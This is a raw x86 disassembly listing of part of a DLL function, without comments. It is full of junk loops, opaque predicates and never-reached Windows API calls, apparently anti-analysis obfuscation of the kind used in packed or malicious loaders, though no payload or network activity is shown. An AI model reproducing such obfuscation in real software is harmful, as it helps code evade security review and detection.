cmp dword [ebp - 0x28], 1
jge 0x10017b55
push dword [ebp - 0x28]
lea ecx, [ebp - 0xea8]
call fcn.10022272
or dword [eax], 0xffffffff
jmp 0x10017b35
mov dword [ebp - 0x28], 0
jmp 0x10017b65
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 2
jge 0x10017b7e
push dword [ebp - 0x28]
lea ecx, [ebp - 0xf54]
call fcn.10022272
or dword [eax], 0xffffffff
jmp 0x10017b5e
mov dword [ebp - 0x28], 0
jmp 0x10017b8e
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 2
jge 0x10017ba4
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x1148], 0xb389e767
jmp 0x10017b87
mov eax, dword [ebp - 0x1f8]
mov dword [ebp - 0x1090], eax
cmp dword [ebp - 0x628], 0
jne 0x10017bc0
cmp dword [ebp - 0x628], 0
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x1148], 1
push 2
lea ecx, [ebp - 0xff0]
call fcn.10022272
cmp dword [eax], 0
jb 0x10017bef
mov dword [ebp - 0xa28], 1
jmp 0x10017bf6
and dword [ebp - 0xa28], 0
mov eax, dword [ebp - 0x4a4]
dec eax
mov dword [ebp - 0x4a4], eax
push 0
lea ecx, [ebp - 0xea8]
call fcn.10022272
mov ecx, dword [ebp - 0xa28]
add ecx, dword [eax]
mov dword [ebp - 0x630], ecx
mov eax, dword [ebp - 0x4a4]
cmp eax, dword [ebp - 0x630]
je 0x10017c38
mov dword [ebp - 0x8d8], 1
jmp 0x10017c3f
and dword [ebp - 0x8d8], 0
mov eax, dword [ebp - 0x8d8]
sub eax, dword [ebp - 0xd50]
cmp eax, 0xfffffff6
jbe 0x10017c5c
mov dword [ebp - 0x638], 1
jmp 0x10017c63
and dword [ebp - 0x638], 0
mov eax, dword [ebp - 0x638]
mov dword [ebp - 0xad8], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1128]
imul eax, dword [ebp - 0xad8]
mov dword [ebp - 0x640], eax
mov eax, dword [ebp - 0x640]
mov dword [ebp - 0x1098], eax
mov eax, dword [ebp - 0xc14]
mov dword [ebp - 0x10a0], eax
mov eax, dword [ebp - 0x648]
mov dword [ebp - 0x10a8], eax
push 0
lea ecx, [ebp - 0xea8]
call fcn.10022272
mov esi, dword [ebp - 0xbe8]
push 1
lea ecx, [ebp - 0xf54]
call fcn.10022272
mov dword [eax], esi
mov eax, dword [ebp - 0x8e0]
cmp eax, dword [ebp - 0x8e0]
jge 0x10017ce9
mov dword [ebp - 0xe64], 1
jmp 0x10017cf0
and dword [ebp - 0xe64], 0
mov dword [ebp - 0x648], 0x9e0d9448
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0xf54]
call fcn.10022230
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0xea8]
call fcn.10022230
jmp 0x10017a78
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xff0]
call fcn.10022230
mov eax, dword [ebp - 0x40]
movzx eax, byte [ebp + eax - 0x250]
mov ecx, dword [ebp - 0x40]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x47c], 0
mov dword [ebp - 0x658], 4
mov dword [ebp - 0xa30], 0x60e8
mov dword [ebp - 0xd58], 0x10007a20
cmp dword [ebp - 0xa30], 0x62ba
jle 0x10017e51
and dword [ebp - 0x3b4], 0
jmp 0x10017d8f
mov eax, dword [ebp - 0x3b4]
inc eax
mov dword [ebp - 0x3b4], eax
cmp dword [ebp - 0x3b4], 0x57a3
jge 0x10017e51
and dword [ebp - 0x2e8], 0
jmp 0x10017db5
mov eax, dword [ebp - 0x2e8]
inc eax
mov dword [ebp - 0x2e8], eax
cmp dword [ebp - 0x2e8], 0x7ac3
jge 0x10017e4c
and dword [ebp - 0x368], 0
jmp 0x10017ddb
mov eax, dword [ebp - 0x368]
inc eax
mov dword [ebp - 0x368], eax
cmp dword [ebp - 0x368], 0x638a
jge 0x10017e47
mov eax, dword [ebp - 0x3b4]
cdq
idiv dword [ebp - 0x2e8]
and edx, dword [ebp - 0x368]
mov eax, edx
cdq
mov dword [ebp - 0xc74], eax
mov dword [ebp - 0xc70], edx
push dword [ebp - 0xc70]
push dword [ebp - 0xc74]
lea ecx, [ebp - 0x1348]
call fcn.1000a263
pop ecx
pop ecx
mov dword [ebp - 0xbf0], eax
mov ecx, dword [ebp - 0xbf0]
call fcn.10021b1d
push eax
call fcn.10058fef
pop ecx
lea ecx, [ebp - 0x1348]
call fcn.10021b13
jmp 0x10017dce
jmp 0x10017da8
jmp 0x10017d82
mov dword [ebp - 4], 0x18
cmp dword [ebp - 0xa30], 0x5f21
jge 0x10017e70
push dword [ebp - 0xd58]
call fcn.10058fef
pop ecx
jmp 0x10017e8c
or dword [ebp - 4], 0xffffffff
jmp 0x10017e96
mov dword [ebp - 0x2f0], 0
jmp 0x10017eaf
mov eax, dword [ebp - 0x2f0]
inc eax
mov dword [ebp - 0x2f0], eax
cmp dword [ebp - 0x2f0], 3
jge 0x10017ecb
mov eax, dword [ebp - 0x2f0]
mov dword [ebp + eax*4 - 0x11b8], 1
jmp 0x10017ea2
mov byte [ebp - 0xfa], 0
movzx eax, byte [ebp - 0xfa]
test eax, eax
je 0x10017ef1
push 0x1b3c
push 0
push 0
push 0x1784
call dword [sym.imp.USER32.dll_RedrawWindow]
cmp dword [ebp - 0x47c], 0
je 0x10017f3e
mov dword [ebp - 0xbf8], 0x7dd6
mov byte [ebp - 0x173], 0
movzx eax, byte [ebp - 0x173]
test eax, eax
je 0x10017f2d
push 0
push 0x89b
push 0x5c4
push 0xc78
call dword [sym.imp.GDI32.dll_MoveToEx]
mov eax, dword [ebp - 0x47c]
mov dword [ebp - 0xbf8], eax
jmp 0x1001819e
mov dword [ebp - 0x4bc], 0xfffffffd
push 3
lea ecx, [ebp - 0xe9c]
call fcn.100221ae
mov dword [ebp - 4], 0x1a
mov dword [ebp - 0x418], 0xd4c4
mov dword [ebp - 0xb4], 0
jmp 0x10017f7f
mov eax, dword [ebp - 0xb4]
inc eax
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 1
jge 0x10017f9b
mov eax, dword [ebp - 0xb4]
mov dword [ebp + eax*4 - 0x3a8], 0
jmp 0x10017f72
mov dword [ebp - 0xb4], 0
jmp 0x10017fb4
mov eax, dword [ebp - 0xb4]
inc eax
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 3
jge 0x10017fd3
push dword [ebp - 0xb4]
lea ecx, [ebp - 0xe9c]
call fcn.10022272
or dword [eax], 0xffffffff
jmp 0x10017fa7
mov eax, dword [ebp - 0x47c]
mov dword [ebp - 0x10b0], eax
mov eax, dword [ebp - 0x418]
dec eax
mov dword [ebp - 0x418], eax
je 0x10018003
cmp dword [ebp - 0x658], 0
je 0x10018003
mov dword [ebp - 0x650], 1
jmp 0x1001800a
and dword [ebp - 0x650], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x3a8]
cmp dword [ebp - 0x650], eax
jle 0x1001802b
mov dword [ebp - 0x8e8], 1
jmp 0x10018032
and dword [ebp - 0x8e8], 0
cmp dword [ebp - 0x8e8], 6
jg 0x10018047
mov dword [ebp - 0xdf0], 1
jmp 0x1001804e
and dword [ebp - 0xdf0], 0
mov eax, dword [ebp - 0x658]
mov dword [ebp - 0x10b8], eax
mov eax, dword [ebp - 0x4bc]
sub eax, 0x25996fd0
je 0x10018083
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x3a8], 0
je 0x10018083
mov dword [ebp - 0xb28], 1
jmp 0x1001808a
and dword [ebp - 0xb28], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x4bc]
add ecx, dword [ebp - 0xb28]
imul ecx, dword [ebp + eax - 0x11b8]
test ecx, ecx
je 0x100180bc
cmp dword [ebp - 0x4bc], 0
je 0x100180bc
mov dword [ebp - 0x660], 1
jmp 0x100180c3
and dword [ebp - 0x660], 0
push 0
lea ecx, [ebp - 0xe9c]
call fcn.10022272
mov ecx, dword [ebp - 0x660]
add ecx, dword [eax]
je 0x100180ed
push 9
pop eax
test eax, eax
je 0x100180ed
mov dword [ebp - 0x8f0], 1
jmp 0x100180f4
and dword [ebp - 0x8f0], 0
cmp dword [ebp - 0x8f0], 2
jb 0x10018109
mov dword [ebp - 0x668], 1
jmp 0x10018110
and dword [ebp - 0x668], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x668]
sub ecx, dword [ebp + eax - 0x3a8]
je 0x10018141
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x3a8], 0
je 0x10018141
mov dword [ebp - 0xa38], 1
jmp 0x10018148
and dword [ebp - 0xa38], 0
mov eax, dword [ebp - 0xa38]
add eax, 0xa836
imul esi, eax, 0x10e1
push 2
lea ecx, [ebp - 0xe9c]
call fcn.10022272
cmp esi, dword [eax]
jg 0x10018176
mov dword [ebp - 0x670], 1
jmp 0x1001817d
and dword [ebp - 0x670], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x670]
mov dword [ebp + eax - 0x11b8], ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe9c]
call fcn.10022230
jmp 0x10016ea6
mov dword [ebp - 0x120], 0x571177e8
mov dword [ebp - 0xc08], 1
mov dword [ebp - 0xc10], 0x6859
mov dword [ebp - 0x10c0], 0xab1d6a56
mov dword [ebp - 0x120], 0
jmp 0x100181e4
mov eax, dword [ebp - 0x120]
dec eax
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 0xffffffe3
je 0x10018286
mov dword [ebp - 0x420], 0xba1a4d63
mov dword [ebp - 0xd60], 0xfffffff9
cmp dword [ebp - 0x420], 0
je 0x10018228
mov eax, dword [ebp - 0x120]
cmp eax, dword [ebp - 0x120]
jl 0x10018228
mov dword [ebp - 0xc00], 1
jmp 0x1001822f
and dword [ebp - 0xc00], 0
mov eax, dword [ebp - 0xd60]
mov dword [ebp - 0x10c8], eax
mov eax, dword [ebp - 0x420]
mov dword [ebp - 0x10d0], eax
mov eax, dword [ebp - 0x120]
mov dword [ebp - 0x10d8], eax
cmp dword [ebp - 0xc08], 0xa62a9695
ja 0x1001826b
mov dword [ebp - 0xe48], 1
jmp 0x10018272
and dword [ebp - 0xe48], 0
xor eax, eax
inc eax
sub eax, dword [ebp - 0x420]
mov dword [ebp - 0xc10], eax
jmp 0x100181d7
mov eax, dword [ebp - 0x40]
sub eax, dword [ebp - 0x308]
movzx eax, byte [ebp + eax - 0x252]
movsx eax, byte [ebp + eax - 0xe58]
mov ecx, dword [ebp - 0x40]
movzx ecx, byte [ebp + ecx - 0x24f]
and ecx, eax
mov eax, dword [ebp - 0x40]
sub eax, dword [ebp - 0x308]
movzx eax, byte [ebp + eax - 0x252]
movsx eax, byte [ebp + eax - 0xe58]
mov edx, dword [ebp - 0x40]
movzx edx, byte [ebp + edx - 0x24f]
or edx, eax
sub edx, ecx
mov eax, dword [ebp - 0x40]
movzx eax, byte [ebp + eax - 0x250]
mov byte [ebp + eax - 0xe58], dl
mov dword [ebp - 0xba8], 0xffffffff
mov dword [ebp - 0xba4], 0xffffffff
mov dword [ebp - 0xba0], 0xffffffff
mov dword [ebp - 0xb9c], 0xffffffff
mov dword [ebp - 0x5c], 0xcfce
mov dword [ebp - 0x484], 0x9fa85f8
mov dword [ebp - 0x680], 0
mov dword [ebp - 0xc18], 8
mov dword [ebp - 0xe00], 0x503b5b0d
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xba8], 0
je 0x100183db
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xba8], 0
je 0x100183db
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xba8]
mov dword [ebp - 0x10e0], eax
cmp dword [ebp - 0x5c], 0
je 0x1001838f
mov eax, 0x49f4ffcf
test eax, eax
je 0x1001838f
mov dword [ebp - 0x8f8], 1
jmp 0x10018396
and dword [ebp - 0x8f8], 0
mov eax, dword [ebp - 0x5c]
cmp dword [ebp - 0x8f8], eax
jg 0x100183b3
mov eax, 0xfffa
test eax, eax
jne 0x100183b3
and dword [ebp - 0xd68], 0
jmp 0x100183bd
mov dword [ebp - 0xd68], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xba8]
cmp eax, dword [ebp - 0x5c]
jl 0x100183db
mov dword [ebp - 0x678], 1
jmp 0x100183e2
and dword [ebp - 0x678], 0
imul eax, dword [ebp - 0x678], 0x9b2c
cmp eax, 0xfe24
je 0x100183ff
mov dword [ebp - 0xae0], 1
jmp 0x10018406
and dword [ebp - 0xae0], 0
mov eax, dword [ebp - 0x5c]
add eax, dword [ebp - 0xae0]
mov dword [ebp - 0x484], eax
mov dword [ebp - 0x5c], 3
jmp 0x10018425
mov eax, dword [ebp - 0x5c]
dec eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0
jl 0x10018513
mov dword [ebp - 0xa40], 0x4dcd6a9b
mov dword [ebp - 0x690], 0x6552ded1
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x5c]
mov ecx, dword [ebp + ecx*4 - 0xba8]
add ecx, dword [ebp + eax*4 - 0xba8]
mov dword [ebp - 0x680], ecx
mov eax, dword [ebp - 0x680]
mov dword [ebp - 0x484], eax
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x484]
cmp ecx, dword [ebp + eax*4 - 0xba8]
jg 0x10018487
mov dword [ebp - 0x900], 1
jmp 0x1001848e
and dword [ebp - 0x900], 0
cmp dword [ebp - 0x900], 1
je 0x100184a3
mov dword [ebp - 0x688], 1
jmp 0x100184aa
and dword [ebp - 0x688], 0
mov eax, dword [ebp - 0x688]
mov dword [ebp - 0xa40], eax
mov eax, dword [ebp - 0xa40]
mov dword [ebp - 0x690], eax
mov eax, dword [ebp - 0x690]
cmp eax, dword [ebp - 0x5c]
jge 0x100184d9
mov dword [ebp - 0x908], 1
jmp 0x100184e0
and dword [ebp - 0x908], 0
imul eax, dword [ebp - 0x908], 0xffffffff
cmp eax, dword [ebp - 0xc18]
je 0x100184fb
mov dword [ebp - 0x698], 1
jmp 0x10018502
and dword [ebp - 0x698], 0
mov eax, dword [ebp - 0x698]
mov dword [ebp - 0xe00], eax
jmp 0x1001841e
mov dword [ebp - 0xb68], 0x4c10
mov dword [ebp - 0xc20], 0x10007a60
cmp dword [ebp - 0xb68], 0x4fa9
jle 0x10018616
and dword [ebp - 0x300], 0
jmp 0x1001854d
mov eax, dword [ebp - 0x300]
inc eax
mov dword [ebp - 0x300], eax
cmp dword [ebp - 0x300], 0x6b4a
jge 0x10018616
and dword [ebp - 0x3d0], 0
jmp 0x10018573
mov eax, dword [ebp - 0x3d0]
inc eax
mov dword [ebp - 0x3d0], eax
cmp dword [ebp - 0x3d0], 0x452f
jge 0x10018611
and dword [ebp - 0x2f8], 0
jmp 0x10018599
mov eax, dword [ebp - 0x2f8]
inc eax
mov dword [ebp - 0x2f8], eax
cmp dword [ebp - 0x2f8], 0x5772
jge 0x1001860c
and dword [ebp - 0x370], 0
jmp 0x100185bb
mov eax, dword [ebp - 0x370]
inc eax
mov dword [ebp - 0x370], eax
cmp dword [ebp - 0x370], 0x4f7e
jge 0x1001860a
mov ecx, dword [ebp - 0x2f8]
imul ecx, dword [ebp - 0x370]
mov eax, dword [ebp - 0x300]
cdq
idiv dword [ebp - 0x3d0]
and edx, ecx
mov eax, edx
cdq
mov dword [ebp - 0xc80], eax
mov dword [ebp - 0xc7c], edx
push dword [ebp - 0xc7c]
push dword [ebp - 0xc80]
mov ecx, 0x106185d8
call fcn.10021f59
jmp 0x100185ae
jmp 0x1001858c
jmp 0x10018566
jmp 0x10018540
and dword [ebp - 0x308], 0
mov dword [ebp - 4], 0x1b
cmp dword [ebp - 0xb68], 0x4a99
jge 0x10018640
mov edx, dword [ebp - 0xc20]
mov ecx, 0x106185d8
call fcn.1002654e
jmp 0x1001865c
or dword [ebp - 4], 0xffffffff
jmp 0x10018666
jmp 0x10016ea6
mov dword [ebp - 0x428], 1
mov dword [ebp - 0x378], 0x7689351f
mov dword [ebp - 0x218], 0xe81a7ecc
mov dword [ebp - 0xa50], 0x8cd3bed1
mov dword [ebp - 0x10e8], 0x177cce45
mov dword [ebp - 0x6e8], 0x4aafbebf
mov dword [ebp - 0x10f0], 0xffffffff
mov dword [ebp - 0x6b8], 0xffffffff
push 1
lea ecx, [ebp - 0xeb4]
call fcn.100221ae
mov dword [ebp - 4], 0x1d
mov dword [ebp - 0x430], 0x352fb29d
push 2
lea ecx, [ebp - 0xf84]
call fcn.100221ae
mov byte [ebp - 4], 0x1e
mov dword [ebp - 0x10f8], 1
mov dword [ebp - 0x6a8], 0xfffffff6
mov dword [ebp - 0x6b0], 0x28285606
push 1
lea ecx, [ebp - 0xf48]
call fcn.100221ae
mov byte [ebp - 4], 0x1f
mov dword [ebp - 0xcc4], 2
mov dword [ebp - 0x1100], 0
mov dword [ebp - 0x38], 0
jmp 0x1001873d
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 1
jge 0x10018759
push dword [ebp - 0x38]
lea ecx, [ebp - 0xeb4]
call fcn.10022272
mov dword [eax], 1
jmp 0x10018736
mov dword [ebp - 0x38], 0
jmp 0x10018769
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 2
jge 0x10018785
push dword [ebp - 0x38]
lea ecx, [ebp - 0xf84]
call fcn.10022272
mov dword [eax], 0x7dd7
jmp 0x10018762
mov dword [ebp - 0x38], 0
jmp 0x10018795
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 1
jge 0x100187b1
push dword [ebp - 0x38]
lea ecx, [ebp - 0xf48]
call fcn.10022272
mov dword [eax], 0x84382fd9
jmp 0x1001878e
mov eax, dword [ebp - 0x428]
mov dword [ebp - 0x1108], eax
cmp dword [ebp - 0x218], 0
je 0x100187db
cmp dword [ebp - 0x218], 0
je 0x100187db
mov dword [ebp - 0x6a0], 1
jmp 0x100187e2
and dword [ebp - 0x6a0], 0
xor eax, eax
inc eax
sub eax, dword [ebp - 0x6a0]
sub eax, dword [ebp - 0x428]
jne 0x10018805
cmp dword [ebp - 0x428], 0
jne 0x10018805
and dword [ebp - 0x910], 0
jmp 0x1001880f
mov dword [ebp - 0x910], 1
mov eax, dword [ebp - 0x378]
cmp eax, dword [ebp - 0x910]
jg 0x10018ba0
mov dword [ebp - 0x1110], 0xfffffff8
mov dword [ebp - 0xc38], 0xacd4a797
mov dword [ebp - 0x1118], 0xbe3d0e72
mov dword [ebp - 0xc40], 0x34ccbb24
mov dword [ebp - 0xd70], 2
mov dword [ebp - 0xcb4], 0
mov dword [ebp - 0x1120], 0
mov dword [ebp - 0x112c], 0x33d2afdd
mov dword [ebp - 0x1150], 0xeabfd090
mov dword [ebp - 0x4ac], 0xa70a1ee3
mov dword [ebp - 0xcac], 0xc74600eb
mov dword [ebp - 0xf14], 0x3be7680d
mov dword [ebp - 0xf10], 0x3be7680d
mov dword [ebp - 0xf0c], 0x3be7680d
mov dword [ebp - 0xf08], 0x3be7680d
lea ecx, [ebp - 0x459]
call fcn.100222d4
push eax
lea eax, [ebp - 0xf04]
push eax
lea eax, [ebp - 0xf14]
push eax
lea ecx, [ebp - 0x12e0]
call fcn.100222d7
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x12cc]
call fcn.1002220a
mov byte [ebp - 4], 0x20
mov eax, dword [ebp - 0x4ac]
dec eax
mov dword [ebp - 0x4ac], eax
mov eax, dword [ebp - 0x4ac]
cmp eax, dword [ebp - 0xd70]
jle 0x10018917
mov dword [ebp - 0x6c0], 1
jmp 0x1001891e
and dword [ebp - 0x6c0], 0
mov eax, dword [ebp - 0x6a8]
dec eax
mov dword [ebp - 0x6a8], eax
cmp dword [ebp - 0x6b8], 0
jne 0x10018942
xor eax, eax
inc eax
jne 0x10018942
and dword [ebp - 0xa48], 0
jmp 0x1001894c
mov dword [ebp - 0xa48], 1
mov eax, dword [ebp - 0xa48]
mov dword [ebp - 0x6b0], eax
cmp dword [ebp - 0x6b0], 0x329b
jl 0x10018970
mov dword [ebp - 0x918], 1
jmp 0x10018977
and dword [ebp - 0x918], 0
cmp dword [ebp - 0x918], 4
jge 0x1001898c
mov dword [ebp - 0xc28], 1
jmp 0x10018993
and dword [ebp - 0xc28], 0
mov eax, dword [ebp - 0x430]
mov dword [ebp - 0x1158], eax
mov eax, dword [ebp - 0x378]
mov dword [ebp - 0x1160], eax
mov esi, dword [ebp - 0xcac]
push 0
lea ecx, [ebp - 0xf48]
call fcn.10022272
imul esi, dword [eax]
cmp esi, 0xfffc
jbe 0x100189d5
mov dword [ebp - 0xc30], 1
jmp 0x100189dc
and dword [ebp - 0xc30], 0
mov esi, dword [ebp - 0x6b8]
push 0
lea ecx, [ebp - 0xeb4]
call fcn.10022272
imul esi, dword [eax]
cmp esi, 0x3330f6bb
jle 0x10018a06
mov dword [ebp - 0xae8], 1
jmp 0x10018a0d
and dword [ebp - 0xae8], 0
mov eax, dword [ebp - 0xae8]
mov dword [ebp - 0x218], eax
mov eax, dword [ebp - 0x218]
cmp dword [ebp - 0x6c0], eax
jle 0x10018a33
mov dword [ebp - 0x920], 1
jmp 0x10018a3a
and dword [ebp - 0x920], 0
mov eax, dword [ebp - 0xa50]
cmp dword [ebp - 0x920], eax
jne 0x10018a54
mov dword [ebp - 0x6c8], 1
jmp 0x10018a5b
and dword [ebp - 0x6c8], 0
push 1
lea ecx, [ebp - 0xf84]
call fcn.10022272
mov ecx, dword [ebp - 0x6c8]
cmp ecx, dword [eax]
je 0x10018a7e
mov dword [ebp - 0x6d0], 1
jmp 0x10018a85
and dword [ebp - 0x6d0], 0
mov eax, dword [ebp - 0xa50]
cmp dword [ebp - 0x6d0], eax
jne 0x10018a9f
mov dword [ebp - 0x928], 1
jmp 0x10018aa6
and dword [ebp - 0x928], 0
mov eax, dword [ebp - 0x378]
cmp dword [ebp - 0x928], eax
jle 0x10018ac0
mov dword [ebp - 0x6d8], 1
jmp 0x10018ac7
and dword [ebp - 0x6d8], 0
mov eax, dword [ebp - 0xcb4]
cmp dword [ebp - 0x6d8], eax
jle 0x10018ae1
mov dword [ebp - 0xb30], 1
jmp 0x10018ae8
and dword [ebp - 0xb30], 0
mov eax, dword [ebp - 0xc38]
cmp dword [ebp - 0xb30], eax
jle 0x10018b02
mov dword [ebp - 0xcbc], 1
jmp 0x10018b09
and dword [ebp - 0xcbc], 0
push 0
lea ecx, [ebp - 0xeb4]
call fcn.10022272
mov eax, dword [ebp - 0x378]
cmp eax, dword [ebp - 0x218]
jl 0x10018b30
mov dword [ebp - 0x6e0], 1
jmp 0x10018b37
and dword [ebp - 0x6e0], 0
mov eax, dword [ebp - 0x430]
cmp dword [ebp - 0x6e0], eax
je 0x10018b51
mov dword [ebp - 0x930], 1
jmp 0x10018b58
and dword [ebp - 0x930], 0
mov eax, dword [ebp - 0x930]
mov dword [ebp - 0xc40], eax
mov byte [ebp - 0xf7], 0
movzx eax, byte [ebp - 0xf7]
test eax, eax
je 0x10018b8f
push 0xcdb
push 0xc5e
push 0
push 0x20ca
push 0
call dword [sym.imp.USER32.dll_GetMenuStringW]
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x12cc]
call fcn.10022230
jmp 0x10018bb8
mov eax, dword [ebp - 0xcc4]
mov dword [ebp - 0x6e8], eax
mov eax, dword [ebp - 0x6e8]
mov dword [ebp - 0x430], eax
mov byte [ebp - 4], 0x1e
lea ecx, [ebp - 0xf48]
call fcn.10022230
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0xf84]
call fcn.10022230
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xeb4]
call fcn.10022230
xor eax, eax
inc eax
imul eax, eax, 0xd
mov byte [ebp + eax - 0xe58], 0
mov dword [ebp - 0xc54], 1
mov dword [ebp - 0x1168], 0
push 2
lea ecx, [ebp - 0x11c8]
call fcn.100221ae
mov dword [ebp - 4], 0x21
mov dword [ebp - 0x1170], 0
mov dword [ebp - 0x1178], 0xffffffff
mov dword [ebp - 0x11f8], 2
mov dword [ebp - 0x6f0], 0x9964
mov dword [ebp - 0xa58], 0x2ee7
mov dword [ebp - 0xccc], 0x10007ad8
cmp dword [ebp - 0xa58], 0x3192
jle 0x10018d10
and dword [ebp - 0x310], 0
jmp 0x10018c7d
mov eax, dword [ebp - 0x310]
inc eax
mov dword [ebp - 0x310], eax
cmp dword [ebp - 0x310], 0x9e1
jge 0x10018d08
and dword [ebp - 0x3b0], 0
jmp 0x10018c9f
mov eax, dword [ebp - 0x3b0]
inc eax
mov dword [ebp - 0x3b0], eax
cmp dword [ebp - 0x3b0], 0x3f46
jge 0x10018d03
mov eax, dword [ebp - 0x310]
imul eax, dword [ebp - 0x3b0]
cdq
mov dword [ebp - 0xc8c], eax
mov dword [ebp - 0xc88], edx
push dword [ebp - 0xc88]
push dword [ebp - 0xc8c]
lea ecx, [ebp - 0x13c0]
call fcn.1000a263
pop ecx
pop ecx
mov dword [ebp - 0xc48], eax
mov ecx, dword [ebp - 0xc48]
call fcn.10021b1d
push eax
call fcn.10058fef
pop ecx
lea ecx, [ebp - 0x13c0]
call fcn.10021b13
jmp 0x10018c92
jmp 0x10018c70
push 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0xcc], 0
jmp 0x10018d29
mov eax, dword [ebp - 0xcc]
inc eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 2
jge 0x10018d4b
push dword [ebp - 0xcc]
lea ecx, [ebp - 0x11c8]
call fcn.10022272
mov dword [eax], 1
jmp 0x10018d1c
mov byte [ebp - 4], 0x22
cmp dword [ebp - 0xa58], 0x2c5b
jge 0x10018d67
push dword [ebp - 0xccc]
call fcn.10058fef
pop ecx
jmp 0x10018d83
mov dword [ebp - 4], 0x21
jmp 0x10018d93
mov dword [ebp - 0xcc], 0
jmp 0x10018dac
mov eax, dword [ebp - 0xcc]
inc eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 2
jge 0x10018dc8
mov eax, dword [ebp - 0xcc]
mov dword [ebp + eax*4 - 0x1308], 1
jmp 0x10018d9f
mov dword [ebp - 0xc54], 7
mov eax, dword [ebp - 0x6f0]
inc eax
mov dword [ebp - 0x6f0], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x11c8]
call fcn.10022230
lea eax, [ebp - 0xe58]
push eax
lea ecx, [ebp - 0x1390]
call fcn.10022102
mov dword [ebp - 0xcd4], eax
mov eax, dword [ebp - 0xcd4]
mov dword [ebp - 0xc60], eax
mov dword [ebp - 4], 0x24
mov edx, dword [ebp - 0x524]
mov ecx, dword [ebp - 0xc60]
call fcn.1000a30d
mov dword [0x10619714], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1390]
call fcn.10022131
and dword [ebp - 0x318], 0
jmp 0x10018e54
mov eax, dword [ebp - 0x318]
inc eax
mov dword [ebp - 0x318], eax
cmp dword [ebp - 0x318], 0xe
jae 0x10018e6d
mov eax, dword [ebp - 0x318]
mov byte [ebp + eax - 0xe58], 0
jmp 0x10018e47
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x138], 0x3beb7161
mov dword [ebp - 0x128], 4
mov dword [ebp - 0x130], 1
mov dword [ebp - 0x738], 0xc74e37a2
mov dword [ebp - 0xce4], 0xe9414028
mov dword [ebp - 0x90], 0
jmp 0x10018ebf
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 1
jge 0x10018edb
mov eax, dword [ebp - 0x90]
mov dword [ebp + eax*4 - 0x380], 0x2c32b96c
jmp 0x10018eb2
mov dword [ebp - 0x90], 0
jmp 0x10018ef4
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 1
jge 0x10018f10
mov eax, dword [ebp - 0x90]
mov dword [ebp + eax*4 - 0x728], 0x888a
jmp 0x10018ee7
cmp dword [ebp - 0x20], 0
jne 0x10018f31
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x138], eax
cmp dword [ebp - 0x138], 0
jne 0x10018f31
and dword [ebp - 0xaf0], 0
jmp 0x10018f3b
mov dword [ebp - 0xaf0], 1
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x20]
je 0x10018f4f
mov dword [ebp - 0x938], 1
jmp 0x10018f56
and dword [ebp - 0x938], 0
mov eax, dword [ebp - 0x20]
imul eax, dword [ebp - 0x938]
inc eax
mov ecx, dword [ebp - 0x20]
add ecx, eax
mov dword [ebp - 0x128], ecx
mov eax, dword [ebp - 0x128]
cmp eax, dword [ebp - 0x20]
je 0x10018f83
mov dword [ebp - 0x6f8], 1
jmp 0x10018f8a
and dword [ebp - 0x6f8], 0
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x6f8], eax
jg 0x10018fa1
mov dword [ebp - 0x700], 1
jmp 0x10018fa8
and dword [ebp - 0x700], 0
mov eax, dword [ebp - 0xaf0]
cmp eax, dword [ebp - 0x700]
je 0x10018fc2
mov dword [ebp - 0x940], 1
jmp 0x10018fc9
and dword [ebp - 0x940], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x940]
sub ecx, dword [ebp + eax - 0x380]
